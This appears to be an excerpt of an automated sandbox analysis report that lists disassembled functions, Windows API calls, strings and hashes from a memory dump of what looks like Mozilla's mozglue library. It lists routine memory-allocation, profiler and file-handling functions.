Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_CRASH(), xrefs: 6C95227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd
